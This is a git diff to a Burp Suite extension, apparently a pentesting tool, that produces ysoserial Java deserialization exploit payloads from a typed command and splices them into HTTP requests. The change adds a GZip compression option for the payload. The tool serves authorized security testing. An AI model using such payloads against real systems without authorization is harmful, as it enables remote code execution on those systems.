diff --git a/src/main/java/burp/ChildTab.java b/src/main/java/burp/ChildTab.java
index 69dd5f2..9d61d6a 100644
--- a/src/main/java/burp/ChildTab.java
+++ b/src/main/java/burp/ChildTab.java
@@ -24,9 +24,11 @@ public class ChildTab implements IMessageEditorController, ActionListener {
     private final JPanel panel;
 
     public static boolean isEncoded;
+    public static boolean isGzCompressed;
 
     JButton goButton;
     JCheckBox base64CheckBox;
+    JCheckBox compressGzCheckBox;
 
     private final JComboBox<String> payloadComboBox;
 
@@ -67,6 +69,7 @@ public ChildTab(final IBurpExtenderCallbacks callbacks, JTabbedPane tabbedPane,
         serializeButton.addActionListener(ChildTab.this);
 
         base64CheckBox = new JCheckBox("Base64 Encode");
+        compressGzCheckBox = new JCheckBox("Compress (GZip)");
 
         String[] typeStrings = { "BeanShell1","CommonsBeanutilsCollectionsLogging1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4","Groovy1","Jdk7u21","Spring1"};
         payloadComboBox = new JComboBox<>(typeStrings);
@@ -76,6 +79,7 @@ public ChildTab(final IBurpExtenderCallbacks callbacks, JTabbedPane tabbedPane,
         topButtonPanel.add(goButton);
         topButtonPanel.add(serializeButton);
         topButtonPanel.add(base64CheckBox);
+        topButtonPanel.add(compressGzCheckBox);
         topButtonPanel.add(payloadComboBox);
         topButtonPanel.add(helpButton);
 
@@ -138,12 +142,13 @@ private void serializeRequest() {
         // String[] command = Utilities.formatCommand(commandTextField.getText());
 
         boolean isEncoded = base64CheckBox.isSelected();
+        boolean isGzCompressed = compressGzCheckBox.isSelected();
 
         String command = commandTextField.getText();
 
         String payloadType = payloadComboBox.getSelectedItem().toString();
 
-        byte[] httpMessage = Utilities.serializeRequest(message,selectedMessage,isEncoded,command,helpers,payloadType);
+        byte[] httpMessage = Utilities.serializeRequest(message,selectedMessage,isEncoded,isGzCompressed,command,helpers,payloadType);
 
         requestViewer.setMessage(httpMessage, true);
 
diff --git a/src/main/java/burp/Utilities.java b/src/main/java/burp/Utilities.java
index 179474c..2b0a53f 100644
--- a/src/main/java/burp/Utilities.java
+++ b/src/main/java/burp/Utilities.java
@@ -5,16 +5,19 @@
 import ysoserial.Serializer;
 import ysoserial.payloads.ObjectPayload;
 
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Base64;
 import java.util.List;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
+import java.util.zip.GZIPOutputStream;
 
 public class Utilities {
 
-    public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, boolean isEncoded, String command, IExtensionHelpers helpers, String payloadType) {
+    public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, boolean isEncoded, boolean isGzCompressed, String command, IExtensionHelpers helpers, String payloadType) {
 
         int selectedOffset = 0;
         int endingOffset = 0;
@@ -40,6 +43,22 @@ public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, bo
             byte[] endingArray = Arrays.copyOfRange(message, endingOffset, message.length);
 
             byte[] exploitArray = getExploitPayload(payloadType, command);
+            
+            if (isGzCompressed) {
+            	ChildTab.isGzCompressed = true;
+            	try {
+            		ByteArrayOutputStream gzOsBytes = new ByteArrayOutputStream();
+            		GZIPOutputStream gzOs = new GZIPOutputStream(gzOsBytes);
+            		gzOs.write(exploitArray);
+            		gzOs.close();
+            		exploitArray = gzOsBytes.toByteArray();
+            	} catch (IOException ioe) {
+            		System.err.println("Error while compressing payload");
+                    ioe.printStackTrace();
+            	}
+            } else {
+            	ChildTab.isGzCompressed = false;
+            }
 
             ChildTab.selectedMessage = exploitArray;